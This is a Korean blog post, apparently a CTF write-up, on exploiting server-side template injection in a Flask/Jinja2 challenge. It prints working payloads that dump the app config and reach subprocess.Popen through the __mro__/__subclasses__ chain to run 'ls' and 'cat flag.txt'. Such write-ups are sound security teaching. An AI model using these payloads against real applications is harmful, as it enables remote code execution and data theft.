티스토리 뷰

728x90
반응형

처음 접속하게 되면 아래와 같은 페이지가 나옵니다.

사실 문제 제목부터가 SSTI(Server Side Template Injection) 유형의 문제 같긴 합니다.

{{1 + 123}} SSTI 결과 값 124

처음 접속 하면 powered by Flask/Jinja2 라고 나옵니다.
그래서 우선 "SSTI Flask/Jinja2" 에 대해서 자세히 알아보았습니다.

그리고 정말 설명이 잘되어 있는 블로그 하나를 찾았는데, 다음과 같습니다.

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

 

SSTI in Flask/Jinja2

What is SSTI ( Server-Side Template Injection)

medium.com

위 블로그에서는 SSTI를 통해서 config나 SECRET_KEY를 획득할 수 있는 방법 뿐만 아니라

SSTI로 수행할 수 있는 RCE(Remote Code Execution)에 대해서도 설명하고 있었고,

저는 이에 대해서 충분히 참고하여 풀 수 있었습니다.

 

우선 config 값을 출력해보았지만, flag에 대한 단서를 찾지 못했습니다.

// http://206.189.20.127:30158/{{config.items()}}
The page 'dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), 
('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), 
('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), 
('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), 
('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), 
('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), 
('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), 
('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), 
... 생략 ...

그런 다음에는 RCE를 위해서 아래 순서의 과정을 수행하였습니다.
(잘 이해가 가지 않는다면 자세한 설명은 위 블로그의 글을 참고해주세요)

1. __mro__ 함수를 통해서 최상위 object 클래스를 찾고, __subclasses__ 함수를 통해서 하위 클래스를 찾습니다.
2. 하위 클래스 중에서 특정 쉘 명령을 수행할 수 있는 함수인 subprocess.Popen 함수의 인덱스를 찾습니다.

3. subprocess.Popen 함수에서 ls 리눅스 명령을 통해 flag 파일의 위치를 찾고, cat 리눅스 명령으로 flag 파일의 내용을 출력합니다.

 

그리고 위 과정을 수행하는 코드와 결과는 다음과 같습니다. (참고로 URL 주소는 URL 디코딩 되었습니다.)

// ls 로 flag 파일의 위치를 탐색
http://206.189.20.127:30158/{{"".__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}}

그리고 현재 경로(APPLICATION_ROOT)에 flag.txt 파일이 있음을 확인했습니다.

이제 flag.txt 파일의 내용만 확인하면 됩니다.

 

// cat flag.txt
http://206.189.20.127:30158/{{"".__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}

 

위와 같이 플래그의 내용을 찾을 수 있었습니다.

 

 

 

- 끝 -

728x90
반응형
댓글